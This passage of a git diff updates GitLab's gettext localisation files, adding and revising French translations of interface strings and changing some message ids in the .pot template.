-msgstr "Vous avez acheté avec succès l'abonnement au forfait %{plan} pour %{seats} et vous allez recevoir un reçu par courriel. Votre achat pouvant prendre une minute pour être synchronisé, actualisez la page si les détails de votre abonnement ne sont pas encore affichés."
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] "Vous avez acheté avec succès l'abonnement au forfait %{plan} pour 1 utilisateur et vous allez recevoir un reçu par courriel. Votre achat pouvant prendre une minute pour être synchronisé, actualisez la page si les détails de votre abonnement ne sont pas encore affichés."
+msgstr[1] "Vous avez acheté avec succès l'abonnement au forfait %{plan} pour %{quantity} utilisateurs et vous allez recevoir un reçu par courriel. Votre achat pouvant prendre une minute pour être synchronisé, actualisez la page si les détails de votre abonnement ne sont pas encore affichés."
msgid "YouTube"
msgstr "YouTube"
@@ -47958,11 +48678,14 @@ msgstr "Votre message ici"
msgid "Your name"
msgstr "Votre nom"
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr "Votre espace de noms %{namespace_name} a atteint la limite de %{free_limit} utilisateur(s)"
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr "Votre espace de noms %{namespace_name} dépasse la limite de %{free_limit} utilisateurs et a été placé en lecture seule."
msgid "Your namespace %{namespace_name} is over the %{free_user_limit} user limit"
-msgstr ""
+msgstr "Votre espace de noms %{namespace_name} dépasse la limite d'utilisateurs qui est de %{free_user_limit}"
msgid "Your namespace is over the user and storage limits and has been placed in a read-only state."
msgstr "Votre espace de noms dépasse les limites d'utilisateurs et de stockage et a été placé en lecture seule."
@@ -47985,8 +48708,8 @@ msgstr "Votre mot de passe"
msgid "Your password reset token has expired."
msgstr "Le jeton de réinitialisation de votre mot de passe a expiré."
-msgid "Your personal access token has expired"
-msgstr "Votre jeton d'accès personnel a expiré"
+msgid "Your personal access tokens have expired"
+msgstr "Vos jetons d'accès personnels ont expiré"
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr "Vos jetons d'accès personnels expireront dans %{days_to_expire} jours ou moins"
@@ -48062,8 +48785,11 @@ msgstr "Votre mise à jour a échoué. Vous devez téléverser un fichier de mê
msgid "Your username is %{username}."
msgstr "Votre nom d'utilisateur est %{username}."
+msgid "Your work"
+msgstr "Votre travail"
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
-msgstr ""
+msgstr "Vous êtes sur le point de supprimer définitivement le %{issuableType} « %{strongOpen}%{issuableTitle}%{strongClose} ». Pour éviter toute perte de données, envisagez plutôt de %{strongOpen}fermer ce %{issuableType}%{strongClose}. Après suppression, aucune annulation ni restauration ne sera possible."
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr "Échec du chargement du ticket ZenTao. Affichez le ticket dans ZenTao ou rechargez la page."
@@ -48152,7 +48878,7 @@ msgid "added %{emails}"
msgstr ""
msgid "added a %{link_type} link"
-msgstr ""
+msgstr "a ajouté un lien de type %{link_type}"
msgid "added a Zoom call to this issue"
msgstr "a ajouté un appel Zoom à ce ticket"
@@ -48167,7 +48893,7 @@ msgid "allowed to fail"
msgstr "autorisé à échouer"
msgid "already banned from namespace"
-msgstr ""
+msgstr "déjà banni de l'espace de noms"
msgid "already being used for another group or project %{timebox_name}."
msgstr "déjà en cours d'utilisation pour un autre groupe ou projet %{timebox_name}."
@@ -48179,7 +48905,7 @@ msgid "already has a \"created\" issue link"
msgstr "a déjà un lien vers un ticket « créé »"
msgid "already shared with this group"
-msgstr ""
+msgstr "déjà partagé avec ce groupe"
msgid "and"
msgstr "et"
@@ -48208,10 +48934,10 @@ msgid "assign yourself"
msgstr "assigner à vous-même"
msgid "assigned"
-msgstr ""
+msgstr "a assigné"
msgid "assigned you"
-msgstr ""
+msgstr "vous a assigné"
msgid "at"
msgstr ""
@@ -48223,7 +48949,7 @@ msgid "at least the Reporter role, the author, and assignees"
msgstr "au moins le rôle de Rapporteur, l'auteur et les personnes assignées"
msgid "attach a new file"
-msgstr ""
+msgstr "joindre un nouveau fichier"
msgid "authored"
msgstr "rédigé"
@@ -48263,6 +48989,9 @@ msgstr "ne peut contenir que des minuscules, des chiffres et '_'."
msgid "can not be changed for existing notes"
msgstr "ne peut pas être modifié pour les notes existantes"
+msgid "can not be changed to %{new_type}"
+msgstr "ne peut pas être modifié en %{new_type}"
+
msgid "can not be set for this resource"
msgstr "ne peut pas être défini pour cette ressource"
@@ -48324,10 +49053,10 @@ msgid "cannot be changed since member is associated with a custom role"
msgstr "ne peut pas être changé car le membre est associé à un rôle personnalisé"
msgid "cannot be enabled"
-msgstr ""
+msgstr "ne peut pas être activé"
msgid "cannot be enabled because parent group does not allow it"
-msgstr ""
+msgstr "ne peut pas être activé car le groupe parent ne l'autorise pas"
msgid "cannot be enabled because parent group has shared Runners disabled"
msgstr "ne peut pas être activé car le groupe parent a désactivé les exécuteurs partagés"
@@ -48339,10 +49068,10 @@ msgid "cannot be enabled until a valid credit card is on file"
msgstr "impossible à activer tant qu'une carte de crédit valide n'est pas enregistrée"
msgid "cannot be used because it belongs to a compromised private key. Stop using this key and generate a new one."
-msgstr ""
+msgstr "est inutilisable car appartenant à une clé privée compromise. Arrêtez d'utiliser cette clé et générez-en une nouvelle."
msgid "cannot be used for user namespace"
-msgstr ""
+msgstr "ne peut pas être utilisé en tant qu’espace de noms utilisateur"
msgid "cannot block others"
msgstr ""
@@ -48351,13 +49080,13 @@ msgid "cannot contain HTML/XML tags, including any word between angle brackets (
msgstr "ne peut pas contenir de balises HTML/XML ni de mot entre crochets (&lt;, &gt;)."
msgid "cannot include leading slash or directory traversal."
-msgstr ""
+msgstr "ne peut pas inclure de barre oblique en début ni de traversée de répertoire."
msgid "cannot itself be blocked"
msgstr ""
msgid "cannot merge"
-msgstr ""
+msgstr "ne peut pas fusionner"
msgid "change"
msgid_plural "changes"
@@ -48366,13 +49095,13 @@ msgstr[1] "modifications"
msgid "check"
msgid_plural "checks"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "contrôle"
+msgstr[1] "contrôles"
msgid "checklist item"
msgid_plural "checklist items"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "élément de la liste de contrôle"
+msgstr[1] "éléments de la liste de contrôle"
msgid "ciReport|%{criticalStart}critical%{criticalEnd}, %{highStart}high%{highEnd} and %{otherStart}others%{otherEnd}"
msgstr "%{criticalStart}critiques%{criticalEnd} %{highStart}hautes%{highEnd} et %{otherStart}autres%{otherEnd}"
@@ -48468,7 +49197,7 @@ msgid "ciReport|Analyze a deployed version of your web application for known vul
msgstr "Analyser une version déployée de votre application web à la recherche de vulnérabilités connues en l’examinant de l’extérieur. DAST fonctionne en simulant des attaques externes sur votre application pendant son exécution."
msgid "ciReport|Automatically apply the patch in a new branch"
-msgstr ""
+msgstr "Appliquer automatiquement le correctif dans une nouvelle branche"
msgid "ciReport|Base pipeline codequality artifact not found"
msgstr "Artéfact de qualité de code du pipeline de base introuvable"
@@ -48499,11 +49228,14 @@ msgstr "Analyse des Images de la Grappe de serveurs"
msgid "ciReport|Code Quality"
msgstr "Qualité de Code"
-msgid "ciReport|Code Quality failed loading results"
-msgstr "Échec du chargement des résultats de qualité du code"
+msgid "ciReport|Code Quality failed to load results"
+msgstr "La Qualité de Code n'a pas réussi à charger les résultats"
+
+msgid "ciReport|Code Quality hasn't changed."
+msgstr "La Qualité de Code n'a pas changé."
-msgid "ciReport|Code Quality test metrics results are being parsed"
-msgstr "Les résultats des métriques des tests de qualité du code sont en cours d’analyse"
+msgid "ciReport|Code Quality is loading"
+msgstr "La Qualité de Code est en cours de chargement"
msgid "ciReport|Code quality degraded due to 1 new issue"
msgid_plural "ciReport|Code quality degraded due to %d new issues"
@@ -48540,7 +49272,7 @@ msgid "ciReport|Create Jira issue"
msgstr "Créer un ticket Jira"
msgid "ciReport|Create a merge request to implement this solution, or download and apply the patch manually."
-msgstr ""
+msgstr "Créez une demande de fusion pour mettre en œuvre cette solution ou téléchargez et appliquez le correctif manuellement."
msgid "ciReport|Create issue"
msgstr "Créer un ticket"
@@ -48570,10 +49302,10 @@ msgid "ciReport|Detects secrets and credentials vulnerabilities in your source c
msgstr "Détecte les vulnérabilités de secrets et d’identifiants dans votre code source."
msgid "ciReport|Download patch to resolve"
-msgstr ""
+msgstr "Télécharger le correctif pour résoudre"
msgid "ciReport|Download the patch to apply it manually"
-msgstr ""
+msgstr "Télécharger le correctif pour l'appliquer manuellement"
msgid "ciReport|Dynamic Application Security Testing (DAST)"
msgstr "Test dynamique de la sécurité des applications (DAST)"
@@ -48597,7 +49329,7 @@ msgid "ciReport|Found %{issuesWithCount}"
msgstr "%{issuesWithCount} trouvés"
msgid "ciReport|Full report"
-msgstr ""
+msgstr "Rapport complet"
msgid "ciReport|Generic Report"
msgstr "Rapport Générique"
@@ -48606,7 +49338,7 @@ msgid "ciReport|IaC Scanning"
msgstr "Analyse IaC"
msgid "ciReport|Investigate this vulnerability by creating an issue"
-msgstr ""
+msgstr "Enquêter sur cette vulnérabilité en créant un ticket"
msgid "ciReport|License Compliance"
msgstr "Conformité de Licence"
@@ -48647,7 +49379,7 @@ msgid "ciReport|Manage licenses"
msgstr "Gérer les licences"
msgid "ciReport|Manually added"
-msgstr ""
+msgstr "Ajouté manuellement"
msgid "ciReport|New"
msgstr "Nouveau"
@@ -48655,9 +49387,6 @@ msgstr "Nouveau"
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr "Les nouvelles vulnérabilités sont des vulnérabilités que l’analyse de sécurité a détectées dans la demande de fusion mais qui sont différentes des vulnérabilités existantes dans la branche par défaut."
-msgid "ciReport|No changes to Code Quality."
-msgstr "Aucun changement dans la qualité du code."
-
msgid "ciReport|No changes to code quality"
msgstr "Aucun changement dans la qualité du code"
@@ -48668,7 +49397,7 @@ msgid "ciReport|RPS"
msgstr "RPS"
msgid "ciReport|Resolve with merge request"
-msgstr ""
+msgstr "Résoudre avec une demande de fusion"
msgid "ciReport|SAST"
msgstr "SAST"
@@ -48686,7 +49415,7 @@ msgid "ciReport|Security reports failed loading results"
msgstr "Les rapports de sécurité ont échoué à charger les résultats"
msgid "ciReport|Security scan results"
-msgstr ""
+msgstr "Résultats de l'analyse de sécurité"
msgid "ciReport|Security scanning"
msgstr "Analyse de sécurité"
@@ -48754,7 +49483,7 @@ msgid "ci_database"
msgstr "ci_database"
msgid "closed"
-msgstr ""
+msgstr "fermé"
msgid "closed %{timeago}"
msgstr "fermé %{timeago}"
@@ -48772,7 +49501,7 @@ msgid "commented"
msgstr "a commenté"
msgid "commented on %{link_to_project}"
-msgstr ""
+msgstr "a commenté %{link_to_project}"
msgid "commit"
msgid_plural "commits"
@@ -48786,13 +49515,13 @@ msgid "committed"
msgstr ""
msgid "complete"
-msgstr ""
+msgstr "terminé"
msgid "compliance violation has already been recorded"
msgstr "une violation de conformité a déjà été enregistrée"
msgid "contacts can only be added to root groups"
-msgstr ""
+msgstr "les contacts ne peuvent être ajoutés qu'aux groupes à la racine"
msgid "container registry images"
msgstr "images du registre de conteneurs"
@@ -48822,7 +49551,7 @@ msgid "created %{timeAgo}"
msgstr ""
msgid "created %{timeAgo} by %{author}"
-msgstr "créé il y a %{timeAgo} par %{author}"
+msgstr "créé %{timeAgo} par %{author}"
msgid "created %{timeAgo} by %{author} in %{project_link}"
msgstr "créé %{timeAgo} par %{author} dans %{project_link}"
@@ -48831,13 +49560,13 @@ msgid "created by"
msgstr "créé par"
msgid "daily"
-msgstr ""
+msgstr "tous les jours"
msgid "data"
msgstr "données"
msgid "date must not be after 9999-12-31"
-msgstr ""
+msgstr "la date ne doit pas être après le 9999-12-31"
msgid "day"
msgid_plural "days"
@@ -48857,7 +49586,7 @@ msgid "deleted"
msgstr ""
msgid "denied"
-msgstr ""
+msgstr "refusée"
msgid "deploy"
msgstr ""
@@ -48872,7 +49601,7 @@ msgid "does not exist"
msgstr "n'existe pas"
msgid "does not have a supported extension. Only %{extension_list} are supported"
-msgstr ""
+msgstr "n'a pas une extension prise en charge. Seules %{extension_list} sont prises en charge"
msgid "does not match dast_site.project"
msgstr "ne correspond pas à dast_site.project"
@@ -48907,7 +49636,7 @@ msgid "enabled"
msgstr "activé"
msgid "encrypted: needs to be a :required, :optional or :migrating!"
-msgstr ""
+msgstr "encrypted: doit être :required, :optional ou :migrating !"
msgid "ending with a reserved file extension is not allowed."
msgstr "se terminant par une extension de fichier réservée n'est pas autorisé."
@@ -48949,10 +49678,10 @@ msgid "expires on %{timebox_due_date}"
msgstr "arrive à échéance le %{timebox_due_date}"
msgid "failed"
-msgstr ""
+msgstr "en échec"
msgid "failed to dismiss associated finding(id=%{finding_id}): %{message}"
-msgstr ""
+msgstr "n'a pas réussi à rejeter la découverte associée (id=%{finding_id}) : %{message}"
msgid "failed to dismiss finding: %{message}"
msgstr "a échoué à rejeter la découverte : %{message}"
@@ -48961,7 +49690,7 @@ msgid "failed to dismiss security finding: %{message}"
msgstr "a échoué à rejeter la découverte de sécurité : %{message}"
msgid "failed to revert associated finding(id=%{finding_id}) to detected"
-msgstr ""
+msgstr "n'a pas réussi à rétablir la découverte associée (id=%{finding_id}) à détectée"
msgid "file"
msgid_plural "files"
@@ -48969,7 +49698,7 @@ msgstr[0] "fichier"
msgstr[1] "fichiers"
msgid "finding is not found or is already attached to a vulnerability"
-msgstr ""
+msgstr "la découverte est introuvable ou est déjà rattachée à une vulnérabilité"
msgid "following"
msgstr "suivi(s)"
@@ -48981,7 +49710,7 @@ msgid "for %{link_to_merge_request} with %{link_to_merge_request_source_branch}"
msgstr "pour %{link_to_merge_request} avec %{link_to_merge_request_source_branch}"
msgid "for %{link_to_merge_request} with %{link_to_merge_request_source_branch} into %{link_to_merge_request_target_branch}"
-msgstr ""
+msgstr "pour %{link_to_merge_request} avec %{link_to_merge_request_source_branch} dans %{link_to_merge_request_target_branch}"
msgid "for %{link_to_pipeline_ref}"
msgstr "pour %{link_to_pipeline_ref}"
@@ -49004,7 +49733,7 @@ msgstr[0] "à partir de %d tâche"
msgstr[1] "à partir de %d tâches"
msgid "from yourself"
-msgstr ""
+msgstr "de votre part"
msgid "frontmatter"
msgstr "frontmatter"
@@ -49032,8 +49761,8 @@ msgstr "groupes uniquement"
msgid "had %{count} failed job"
msgid_plural "had %{count} failed jobs"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "a eu %{count} tâche en échec"
+msgstr[1] "a eu %{count} tâches en échec"
msgid "has already been linked to another vulnerability"
msgstr "dispose déjà d'un lien vers une autre vulnérabilité"
@@ -49042,7 +49771,7 @@ msgid "has already been taken"
msgstr "a déjà été pris"
msgid "has already been taken as Codename"
-msgstr ""
+msgstr "a déjà été pris comme Nom de code"
msgid "has already been taken as Suite"
msgstr "a déjà été pris comme Suite"
@@ -49104,10 +49833,10 @@ msgid "internal note"
msgstr "note interne"
msgid "invalid milestone state `%{state}`"
-msgstr ""
+msgstr "état de jalon `%{state}` non valide"
msgid "invalidated"
-msgstr ""
+msgstr "invalidé"
msgid "is"
msgstr "est"
@@ -49119,7 +49848,7 @@ msgid "is already linked to this vulnerability"
msgstr "est déjà lié à cette vulnérabilité"
msgid "is already present in ancestors"
-msgstr ""
+msgstr "fait déjà partie des ancêtres"
msgid "is an invalid IP address range"
msgstr "est une plage d'adresses IP non valide"
@@ -49140,10 +49869,7 @@ msgid "is not"
msgstr "n'est pas"
msgid "is not a descendant of the Group owning the template"
-msgstr ""
-
-msgid "is not a valid URL."
-msgstr "n’est pas une URL valide."
+msgstr "n'est pas un descendant du Groupe propriétaire du modèle"
msgid "is not a valid X509 certificate."
msgstr "n’est pas un certificat X.509 valide."
@@ -49176,16 +49902,16 @@ msgid "is not in the member group"
msgstr ""
msgid "is not one of"
-msgstr ""
+msgstr "ne fait pas partie de"
msgid "is not the member project"
msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
-msgstr ""
+msgstr "n'est pas valide. Le groupe des itérations doit correspondre au groupe des cadences d'itération."
msgid "is one of"
-msgstr ""
+msgstr "fait partie de"
msgid "is read-only"
msgstr "est en lecture seule"
@@ -49224,7 +49950,7 @@ msgid "it is stored as a job artifact"
msgstr "il est stocké en tant qu'artéfact de tâche"
msgid "it is stored externally"
-msgstr ""
+msgstr "il est stocké en externe"
msgid "it is stored in LFS"
msgstr "il est stocké dans LFS"
@@ -49251,7 +49977,7 @@ msgid "latest version"
msgstr "dernière version"
msgid "leave %{group_name}"
-msgstr ""
+msgstr "quitter %{group_name}"
msgid "less than a minute"
msgstr "moins d'une minute"
@@ -49263,7 +49989,7 @@ msgid "lfs objects"
msgstr "objets lfs"
msgid "limit of %{project_limit} reached"
-msgstr ""
+msgstr "limite de %{project_limit} atteinte"
msgid "line"
msgid_plural "lines"
@@ -49289,7 +50015,7 @@ msgid "math|Displaying this math block may cause performance issues on this page
msgstr "L'affichage de cet élément mathématique peut entraîner des problèmes de performances sur cette page"
msgid "math|There was an error rendering this math block"
-msgstr ""
+msgstr "Une erreur s'est produite lors de l'affichage de ce bloc mathématique"
msgid "member"
msgid_plural "members"
@@ -49579,7 +50305,7 @@ msgid "mrWidget|Resolve conflicts"
msgstr "Résoudre les conflits"
msgid "mrWidget|Resolve locally"
-msgstr ""
+msgstr "Résoudre localement"
msgid "mrWidget|Revert"
msgstr "Défaire"
@@ -49659,8 +50385,11 @@ msgstr "doit être associé à un Groupe ou à un Projet"
msgid "must be greater than start date"
msgstr "doit être supérieure à la date de début"
+msgid "must be in ISO 8601 format"
+msgstr "doit être au format ISO 8601"
+
msgid "must be in same hierarchy as custom role's namespace"
-msgstr ""
+msgstr "doit être dans la même hiérarchie que l'espace de noms du rôle personnalisé"
msgid "must be inside the fork network"
msgstr "doit se trouver à l'intérieur d'un réseau de divergences"
@@ -49711,7 +50440,7 @@ msgid "new merge request"
msgstr "nouvelle demande de fusion"
msgid "no expiration"
-msgstr ""
+msgstr "pas d'expiration"
msgid "no name set"
msgstr "aucun nom défini"
@@ -49746,12 +50475,6 @@ msgstr "%{item}, %{nextItem}"
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr "%{item}, et %{lastItem}"
-msgid "only %{parent_types} can be parent of Task."
-msgstr "seuls des %{parent_types} peuvent être parents d'une Tâche."
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr "seule une Tâche peut être assignée en tant qu'enfant dans une hiérarchie."
-
msgid "only available on top-level groups."
msgstr "uniquement disponible pour les groupes de niveau supérieur."
@@ -49762,7 +50485,7 @@ msgid "or"
msgstr "ou"
msgid "organizations can only be added to root groups"
-msgstr ""
+msgstr "les entreprises ne peuvent être ajoutées qu'aux groupes à la racine"
msgid "packages"
msgstr "paquets"
@@ -49835,7 +50558,7 @@ msgid "private key does not match certificate."
msgstr "la clé privée ne correspond pas au certificat."
msgid "processing"
-msgstr ""
+msgstr "en cours de traitement"
msgid "project"
msgid_plural "projects"
@@ -49906,7 +50629,7 @@ msgid "remove weight"
msgstr "supprimer le poids"
msgid "removed a %{link_type} link"
-msgstr ""
+msgstr "a supprimé un lien de type %{link_type}"
msgid "removed a Zoom call from this issue"
msgstr "a supprimé un appel Zoom de ce ticket"
@@ -49934,7 +50657,7 @@ msgid "repository:"
msgstr "dépôt :"
msgid "role's base access level does not match the access level of the membership"
-msgstr ""
+msgstr "le niveau d'accès de base du rôle ne correspond pas au niveau d'accès de l'adhésion"
msgid "rule"
msgid_plural "rules"
@@ -49942,7 +50665,7 @@ msgstr[0] "règle"
msgstr[1] "règles"
msgid "running"
-msgstr ""
+msgstr "en cours d'exécution"
msgid "satisfied"
msgstr "satisfaite"
@@ -50001,13 +50724,13 @@ msgid "should be an array of existing usernames. %{invalid} does not exist"
msgstr "devrait être un tableau de noms d'utilisateurs existants. %{invalid} n'existe pas"
msgid "should be greater than or equal to %{access} inherited membership from group %{group_name}"
-msgstr ""
+msgstr "doit être supérieur ou égal à %{access} hérité de l'appartenance au groupe %{group_name}"
msgid "show %{count} more"
-msgstr ""
+msgstr "afficher %{count} de plus"
msgid "show fewer"
-msgstr ""
+msgstr "afficher moins"
msgid "show less"
msgstr "afficher moins"
@@ -50025,7 +50748,7 @@ msgid "source diff"
msgstr ""
msgid "specified top is not part of the tree"
-msgstr ""
+msgstr "le point de départ spécifié ne fait pas partie de l'arborescence"
msgid "spendCommand|%{slash_command} adds or subtracts time already spent."
msgstr "%{slash_command} ajoute ou soustrait du temps déjà passé."
@@ -50070,7 +50793,7 @@ msgid "supported SSH public key."
msgstr "clé publique SSH prise en charge."
msgid "tag name"
-msgstr ""
+msgstr "nom d'étiquette"
msgid "terraform states"
msgstr "états terraform"
@@ -50097,7 +50820,7 @@ msgid "this document"
msgstr "ce document"
msgid "time summary"
-msgstr ""
+msgstr "récapitulation du temps"
msgid "to yourself"
msgstr "à vous-même"
@@ -50144,7 +50867,7 @@ msgstr[0] "utilisateur"
msgstr[1] " utilisateurs"
msgid "user avatar"
-msgstr ""
+msgstr "avatar de l'utilisateur"
msgid "user namespace cannot be the parent of another namespace"
msgstr "l'espace de noms de l'utilisateur ne peut pas être le parent d'un autre espace de noms"
@@ -50164,6 +50887,9 @@ msgstr "la valeur de « %{storage} » doit être comprise entre 0 et 100"
msgid "verify ownership"
msgstr "vérifier la propriété"
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr "la version %{report_version} du type de rapport %{report_type} est dépréciée. Cependant, GitLab va toujours essayer d’analyser et d’ingérer ce rapport. Mettez à jour le rapport de sécurité vers l'une des versions suivantes : %{current_schema_versions}."
+
msgid "version %{versionIndex}"
msgstr "version %{versionIndex}"
@@ -50180,7 +50906,7 @@ msgid "view the blob"
msgstr "voir le blob"
msgid "view the source"
-msgstr ""
+msgstr "voir la source"
msgid "visibility"
msgstr "visibilité"
@@ -50215,10 +50941,10 @@ msgid "vulnerability|Undo dismiss"
msgstr "Annuler le rejet"
msgid "vulnerability|dismissed"
-msgstr ""
+msgstr "rejetée"
msgid "was scheduled to merge after pipeline succeeds by"
-msgstr ""
+msgstr "a été programmé pour fusionner après que le pipeline ait réussi par"
msgid "weekly"
msgstr "hebdomadaire"
@@ -50230,10 +50956,10 @@ msgid "with %{additions} additions, %{deletions} deletions."
msgstr "avec %{additions} ajouts, %{deletions} suppressions."
msgid "with expiry changing from %{old_expiry} to %{new_expiry}"
-msgstr ""
+msgstr "avec expiration passant du %{old_expiry} au %{new_expiry}"
msgid "with expiry remaining unchanged at %{old_expiry}"
-msgstr ""
+msgstr "avec expiration restant inchangée au %{old_expiry}"
msgid "yaml invalid"
msgstr "yaml non valide"
@@ -50251,10 +50977,10 @@ msgid "your settings"
msgstr "vos paramètres"
msgid "{group}"
-msgstr "{group}"
+msgstr "{groupe}"
msgid "{project}"
-msgstr "{project}"
+msgstr "{projet}"
msgid "✔"
msgstr "✔"
diff --git a/locale/gitlab.pot b/locale/gitlab.pot
index 5b6dd92358b..0bff766f549 100644
--- a/locale/gitlab.pot
+++ b/locale/gitlab.pot
@@ -358,11 +358,6 @@ msgid_plural "%d personal projects will be removed and cannot be restored."
msgstr[0] ""
msgstr[1] ""
-msgid "%d point"
-msgid_plural "%d points"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d previously merged commit"
msgid_plural "%d previously merged commits"
msgstr[0] ""
@@ -825,6 +820,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -902,6 +900,9 @@ msgid_plural "%{no_of_days} days"
msgstr[0] ""
msgstr[1] ""
+msgid "%{numberOfSelectedTags} tags"
+msgstr ""
+
msgid "%{number_commits_behind} commits behind %{default_branch}, %{number_commits_ahead} commits ahead"
msgstr ""
@@ -979,6 +980,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1017,9 +1023,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1058,7 +1061,7 @@ msgid_plural "%{strongStart}%{count}%{strongEnd} commits"
msgstr[0] ""
msgstr[1] ""
-msgid "%{strongStart}Tip:%{strongEnd} You can also check out merge requests locally. %{linkStart}Learn more.%{linkEnd}"
+msgid "%{strongStart}Tip:%{strongEnd} You can also %{linkStart}check out with merge request ID%{linkEnd}."
msgstr ""
msgid "%{strong_open}%{group_name}%{strong_close} projects:"
@@ -1089,8 +1092,8 @@ msgid_plural "%{strong_start}%{count} members%{strong_end} must approve to merge
msgstr[0] ""
msgstr[1] ""
-msgid "%{strong_start}%{errors}%{strong_end} point"
-msgid_plural "%{strong_start}%{errors}%{strong_end} points"
+msgid "%{strong_start}%{errors}%{strong_end} %{prefix} finding"
+msgid_plural "%{strong_start}%{errors}%{strong_end} %{prefix} findings"
msgstr[0] ""
msgstr[1] ""
@@ -1125,11 +1128,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1297,9 +1295,6 @@ msgstr ""
msgid "(No changes)"
msgstr ""
-msgid "(UTC %{offset}) %{timezone}"
-msgstr ""
-
msgid "(Unlimited pipeline minutes)"
msgstr ""
@@ -1380,6 +1375,9 @@ msgstr ""
msgid ", or "
msgstr ""
+msgid "-"
+msgstr ""
+
msgid "- %{policy_name} (notifying after %{elapsed_time} minutes unless %{status})"
msgstr ""
@@ -1924,9 +1922,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1975,9 +1970,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2215,6 +2207,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2281,9 +2276,6 @@ msgstr ""
msgid "Add approvers"
msgstr ""
-msgid "Add broadcast message"
-msgstr ""
-
msgid "Add child epic to an epic"
msgstr ""
@@ -2593,15 +2585,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2683,9 +2678,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2713,15 +2717,30 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
+msgid "AdminEmail|An error occurred fetching the groups and projects. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminEmail|Body"
msgstr ""
msgid "AdminEmail|Body is required."
msgstr ""
+msgid "AdminEmail|Loading groups and projects."
+msgstr ""
+
+msgid "AdminEmail|No groups or projects found."
+msgstr ""
+
msgid "AdminEmail|Recipient group or project"
msgstr ""
@@ -2764,6 +2783,9 @@ msgstr ""
msgid "AdminSettings|All new projects can use the instance's shared runners by default."
msgstr ""
+msgid "AdminSettings|Allow migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
@@ -2839,9 +2861,6 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
-msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
-msgstr ""
-
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
